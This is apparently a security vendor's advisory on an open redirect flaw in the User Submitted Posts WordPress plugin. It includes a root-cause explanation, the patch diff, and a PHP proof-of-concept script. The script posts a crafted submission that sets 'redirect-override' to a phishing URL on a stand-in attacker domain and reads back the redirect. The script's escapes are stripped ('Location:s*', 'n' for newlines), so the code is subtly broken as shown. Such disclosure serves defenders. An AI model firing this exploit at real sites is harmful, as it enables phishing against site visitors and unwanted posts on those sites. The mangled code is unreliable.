Atomic Edge analysis of CVE-2025-68509:
The User Submitted Posts WordPress plugin, versions up to and including 20251121, contains an unauthenticated open redirect vulnerability. The flaw resides in the post-submission redirect logic, allowing attackers to manipulate the final destination URL. The CVSS score of 5.3 (Medium) reflects the need for user interaction and the potential for phishing attacks.
The root cause is insufficient validation of user-supplied input for the `redirect-override` POST parameter. In the vulnerable version of `/user-submitted-posts/user-submitted-posts.php`, the `usp_redirect_success` function (lines 473-495) directly used the unsanitized value from `$_POST[‘redirect-override’]` to construct a redirect location. The plugin trusted this input without verifying it was a safe, local URL.
Exploitation requires an attacker to trick a user into submitting a crafted form to the plugin’s submission endpoint, typically via a POST request to a page containing the `[user-submitted-posts]` shortcode. The attacker embeds a malicious `redirect-override` parameter in the form, setting its value to an external URL. Upon successful post submission, the plugin redirects the user’s browser to the attacker-controlled site.
The patch in version 20251210 fixes the issue by completely removing the logic that processes the `redirect-override` parameter. The diff shows the deletion of lines 477-489, which handled the user-supplied redirect. The patched code now unconditionally uses `$_SERVER[‘REQUEST_URI’]` as the redirect base, appending only success parameters. This eliminates the attacker’s ability to control the redirect target.
Successful exploitation leads to an open redirect. Attackers can use this to conduct phishing campaigns by redirecting users to malicious websites that mimic legitimate login pages or distribute malware. While the vulnerability does not directly compromise the WordPress site’s data or privileges, it abuses the site’s trust to facilitate attacks against its users.
--- a/user-submitted-posts/user-submitted-posts.php
+++ b/user-submitted-posts/user-submitted-posts.php
@@ -10,8 +10,8 @@
Contributors: specialk
Requires at least: 4.7
Tested up to: 6.9
- Stable tag: 20251121
- Version: 20251121
+ Stable tag: 20251210
+ Version: 20251210
Requires PHP: 5.6.20
Text Domain: usp
Domain Path: /languages
@@ -38,7 +38,7 @@
if (!defined('ABSPATH')) die();
if (!defined('USP_WP_VERSION')) define('USP_WP_VERSION', '4.7');
-if (!defined('USP_VERSION')) define('USP_VERSION', '20251121');
+if (!defined('USP_VERSION')) define('USP_VERSION', '20251210');
if (!defined('USP_PLUGIN')) define('USP_PLUGIN', 'User Submitted Posts');
if (!defined('USP_FILE')) define('USP_FILE', plugin_basename(__FILE__));
if (!defined('USP_PATH')) define('USP_PATH', plugin_dir_path(__FILE__));
@@ -473,21 +473,10 @@
if ($post_id) {
- if (!empty($_POST['redirect-override'])) {
-
- $redirect = $_POST['redirect-override'];
-
- $redirect = remove_query_arg(array('usp-error'), $redirect);
- $redirect = add_query_arg(array('usp_redirect' => '1', 'success' => 1, 'post_id' => $post_id), $redirect);
-
- } else {
-
- $redirect = $_SERVER['REQUEST_URI'];
-
- $redirect = remove_query_arg(array('usp-error'), $redirect);
- $redirect = add_query_arg(array('success' => 1, 'post_id' => $post_id), $redirect);
-
- }
+ $redirect = $_SERVER['REQUEST_URI'];
+
+ $redirect = remove_query_arg(array('usp-error'), $redirect);
+ $redirect = add_query_arg(array('success' => 1, 'post_id' => $post_id), $redirect);
do_action('usp_submit_success', $redirect);
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68509 - User Submitted Posts <= 20251121 - Unauthenticated Open Redirect
<?php
// Configuration: Set the target WordPress site URL (must have the vulnerable plugin active).
$target_url = 'https://vulnerable-wordpress-site.com/';
// Identify a page with the [user-submitted-posts] shortcode. This is often the homepage or a specific 'submit' page.
// The script will attempt to find the form action URL from the page content.
$homepage_content = file_get_contents($target_url);
// A simple regex to find the USP form action. In practice, a more robust HTML parser would be used.
if (preg_match('/<form[^>]*action="([^"]*)"[^>]*usp-submit/i', $homepage_content, $matches)) {
$form_action_url = html_entity_decode($matches[1]);
} else {
// Fallback: The form often posts to the same page it's on.
$form_action_url = $target_url;
}
// Malicious redirect destination.
$malicious_redirect = 'https://evil-site.com/phishing-page.html';
// Prepare the POST data.
// Minimal required fields for a submission may vary. These are common defaults.
$post_data = array(
'user-submitted-post' => '1',
'user-submitted-title' => 'Atomic Edge Test Post',
'user-submitted-content' => 'This is a test post submitted via exploit PoC.',
// The vulnerable parameter. The plugin will append success parameters and redirect here.
'redirect-override' => $malicious_redirect
);
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $form_action_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Do NOT follow the redirect automatically. We want to see the Location header.
curl_setopt($ch, CURLOPT_HEADER, true);
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response for a redirect header.
if ($http_code == 302 || $http_code == 301) {
if (preg_match('/Location:s*(.*)/i', $response, $location_matches)) {
$redirect_location = trim($location_matches[1]);
echo "[+] VULNERABLE: Server issued a redirect to: " . $redirect_location . "n";
echo " Check if the redirect URL begins with: " . $malicious_redirect . "n";
}
} else {
echo "[-] The request did not result in a redirect (HTTP $http_code). The page may not have the plugin shortcode, or the plugin may be patched.n";
}
?>
